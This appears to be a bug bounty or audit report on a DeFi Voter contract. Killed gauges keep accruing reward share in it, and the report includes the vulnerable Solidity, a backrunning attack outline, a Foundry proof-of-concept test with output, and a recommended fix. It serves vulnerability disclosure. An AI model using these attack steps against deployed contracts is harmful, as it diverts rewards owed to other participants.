Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Description
Bug Description
Any rewards received by the Voter contract are indexed and distributed in proportion to each pool's weight in the _updateFor(), even if the gauge associated with that pool is killed.
function notifyRewardAmount(uint256 amount) external {
require(msg.sender == minter, "only minter can send rewards");
require(totalWeight > 0, "no votes");
_safeTransferFrom(base, msg.sender, address(this), amount); // transfer rewards in
uint256 _ratio = (amount * 1e18) / totalWeight; // 1e18 adjustment is removed during claim
if (_ratio > 0) {
index += _ratio;
}
emit NotifyReward(msg.sender, base, amount);
}
As we can see in notifyRewardAmount() which can be called by Minter contract whenever it need to send rewards to a Voter contract. This rewards share of each gauge based on totalWeights are stored in index variable.
function _updateFor(address _gauge) internal {
require(isGauge[_gauge], "invalid gauge");
address _pool = poolForGauge[_gauge];
uint256 _supplied = weights[_pool];
if (_supplied > 0) {
uint256 _supplyIndex = supplyIndex[_gauge];
uint256 _index = index; // get global index0 for accumulated distro
supplyIndex[_gauge] = _index; // update _gauge current position to global position
uint256 _delta = _index - _supplyIndex; // see if there is any difference that need to be accrued
if (_delta > 0) {
uint256 _share = (uint256(_supplied) * _delta) / 1e18; // add accrued difference for each supplied token
claimable[_gauge] += _share;
}
} else {
supplyIndex[_gauge] = index;
}
}
In updateFor(), each gauge's claimable share is tracked in claimable mapping, which gets updated whenever there is an accumulated reward (index) and its get distributed in proportion to each gauge's weight.
Note, there is no check of whether gauge is alive while updating gauge, which will allow any reward received in Voter contract to get accrued in a killed gauges, whereas it should not get accrued for killed gauge.
function distribute() external {
uint256 start = 0;
uint256 finish = pools.length;
for (uint256 x = start; x < finish; x++) {
// We don't revert if gauge is not alive since pools.length is not reduced
if (isAlive[gauges[pools[x]]]) {
_distribute(gauges[pools[x]]);
}
}
IMinter(minter).updatePeriod();
}
function _distribute(address _gauge) internal {
// Distribute once after epoch has ended
require(
block.timestamp >= IMinter(minter).activePeriod() + IMinter(minter).DURATION(),
"can only distribute after period end"
);
uint256 _claimable = claimable[_gauge];
// Reset claimable amount
claimable[_gauge] = 0;
_updateFor(_gauge);
if (_claimable > 0) {
IBaseGauge(_gauge).notifyRewardAmount(_claimable);
}
IBribe(bribes[_gauge]).resetVoting();
emit DistributeReward(msg.sender, _gauge, _claimable);
}
In distribute(), which is supposed to get called in every epoch (mostly at the start of epoch), will distribute accrued reward tracked in claimable[gauge] to each individual gauge which is alive. So whenever distribute() gets called, it will cleared claimable mapping and send those claimable reward to the gauge.
Note, claimable mapping for killed gauge is still not changed, whereas for alive gauge its cleared and those claimable reward are sent to their respective gauge.
So whenever new rewards is sent to the Voter contract, attacker could call updateFor() with the gauge address of interest (Assuming attacker's interested gauge is killed) to steal and accrue share of reward from alive gauges in killed one.
This additional accrued share of rewards gets locked in a contract until the killed gauge is revived. But it should not have accrued reward in the first place when its killed. As its accruing reward, its basically sharing the share of reward which should belong to active gauges.
Attack Step:
Attacker is interested in sushi gauge, but its already killed.
Attacker monitor notifyRewardAmount() tx, backrun this tx and call updateFor([sushiGaugeAddress]) to steal share of reward from other active gauges.
Impact
Killed Gauge continue to accrue and steal rewards from Minter contract, which should belong to active gauges.
Recommendation
Whenever gauge is killed, it should not accumulate rewards. In _updateFor(), it should send those rewards back to minter as shown below.
function _updateFor(address _gauge) internal {
require(isGauge[_gauge], "invalid gauge");
address _pool = poolForGauge[_gauge];
uint256 _supplied = weights[_pool];
if (_supplied > 0) {
uint256 _supplyIndex = supplyIndex[_gauge];
uint256 _index = index; // get global index0 for accumulated distro
supplyIndex[_gauge] = _index; // update _gauge current position to global position
uint256 _delta = _index - _supplyIndex; // see if there is any difference that need to be accrued
if (_delta > 0) {
uint256 _share = (uint256(_supplied) * _delta) / 1e18; // add accrued difference for each supplied token
- claimable[_gauge] += _share;
+ if (isAlive[_gauge]) {
+ claimable[_gauge] += _share;
+ } else {
+ IERC20(base).transfer(minter, _share);
+ }
}
} else {
supplyIndex[_gauge] = index;
}
}
Its should also send the accumulated rewards to Minter contract when killGauge() is called as shown below.
In PoC, we have shown how claimable mapping is updated for the gauge even when gauge is killed.
Steps to Run using Foundry:
Paste following foundry code in src/test/Voting.t.sol
Run using FOUNDRY_PROFILE=default forge test --fork-url $FORK_URL --fork-block-number 17133822 --match-contract VotingTest --match-test testKilledGaugeStealingShare -vv
// Check killed gauge is stealing ALCX token share from other gauge's
function testKilledGaugeStealingShare() public {
// Create a token and vote to create votes
uint256 tokenId1 = createVeAlcx(admin, TOKEN_1, 3 weeks, false);
uint256[] memory tokens = new uint256[](1);
tokens[0] = tokenId1;
address[] memory pools = new address[](2);
pools[0] = sushiPoolAddress;
pools[1] = balancerPoolAddress;
uint256[] memory weights = new uint256[](2);
weights[0] = 2500;
weights[1] = 2500;
hevm.prank(admin);
voter.vote(tokenId1, pools, weights, 0);
deal(address(alcx), address(minter), TOKEN_100K);
uint256 minterAlcxBalance = IERC20(alcx).balanceOf(address(minter));
assertEq(minterAlcxBalance, TOKEN_100K, "minter should have balance");
uint256 voterAlcxBalance = IERC20(alcx).balanceOf(address(voter));
assertEq(voterAlcxBalance, 0, "voter should have no balance");
hevm.startPrank(address(minter));
alcx.approve(address(voter), TOKEN_100K);
voter.notifyRewardAmount(TOKEN_100K);
hevm.stopPrank();
uint256 minterAlcxBalanceAfter = IERC20(alcx).balanceOf(address(minter));
assertEq(minterAlcxBalanceAfter, 0, "minter should have distributed its balance");
uint256 voterAlcxBalanceAfter = IERC20(alcx).balanceOf(address(voter));
assertEq(voterAlcxBalanceAfter, TOKEN_100K, "voter should have received balance");
address[] memory gauges = new address[](2);
gauges[0] = address(sushiGauge);
gauges[1] = address(balancerGauge);
voter.updateFor(gauges);
uint claimableForSushiGaugeBefore = voter.claimable(address(sushiGauge));
console.log("claimableForSushiGaugeBefore:", claimableForSushiGaugeBefore);
uint claimableForBalancerGaugeBefore = voter.claimable(address(balancerGauge));
console.log("claimableForBalancerGaugeBefore:", claimableForBalancerGaugeBefore);
// Kill Sushi Gauge
console.log("");
console.log("Kill SushiGauge");
hevm.prank(admin);
voter.killGauge(address(sushiGauge));
deal(address(alcx), address(minter), TOKEN_100K);
hevm.startPrank(address(minter));
alcx.approve(address(voter), TOKEN_100K);
voter.notifyRewardAmount(TOKEN_100K);
hevm.stopPrank();
voter.updateFor(gauges);
console.log("");
uint claimableForSushiGaugeAfter = voter.claimable(address(sushiGauge));
console.log("claimableForSushiGaugeAfter:", claimableForSushiGaugeAfter);
uint claimableForBalancerGaugeAfter = voter.claimable(address(balancerGauge));
console.log("claimableForBalancerGaugeAfter:", claimableForBalancerGaugeAfter);
console.log("");
// Claimable amount should increase for BalancerGauge
console.log("Claimable amount should increase for BalancerGauge (claimableForBalancerGaugeAfter > claimableForBalancerGaugeBefore):", claimableForBalancerGaugeAfter > claimableForBalancerGaugeBefore);
assertTrue(claimableForBalancerGaugeAfter > claimableForBalancerGaugeBefore);
// Claimable amount should not increase for SushiGauge as its killed
console.log("Claimable amount should not increase for SushiGauge as its killed (claimableForSushiGaugeBefore == claimableForSushiGaugeAfter):", claimableForSushiGaugeBefore == claimableForSushiGaugeAfter);
assertFalse(claimableForSushiGaugeBefore == claimableForSushiGaugeAfter);
}
Console Output:
> FOUNDRY_PROFILE=default forge test --fork-url $FORK_URL --fork-block-number 17133822 --match-contract VotingTest --match-test testKilledGaugeStealingShare -vv
Ran 1 test for src/test/Voting.t.sol:VotingTest
[PASS] testKilledGaugeStealingShare() (gas: 2772935)
Logs:
claimableForSushiGaugeBefore: 49999999999999999999999
claimableForBalancerGaugeBefore: 49999999999999999999999
Kill SushiGauge
claimableForSushiGaugeAfter: 99999999999999999999998
claimableForBalancerGaugeAfter: 99999999999999999999998
Claimable amount should increase for BalancerGauge (claimableForBalancerGaugeAfter > claimableForBalancerGaugeBefore): true
Claimable amount should not increase for SushiGauge as its killed (claimableForSushiGaugeBefore == claimableForSushiGaugeAfter): false
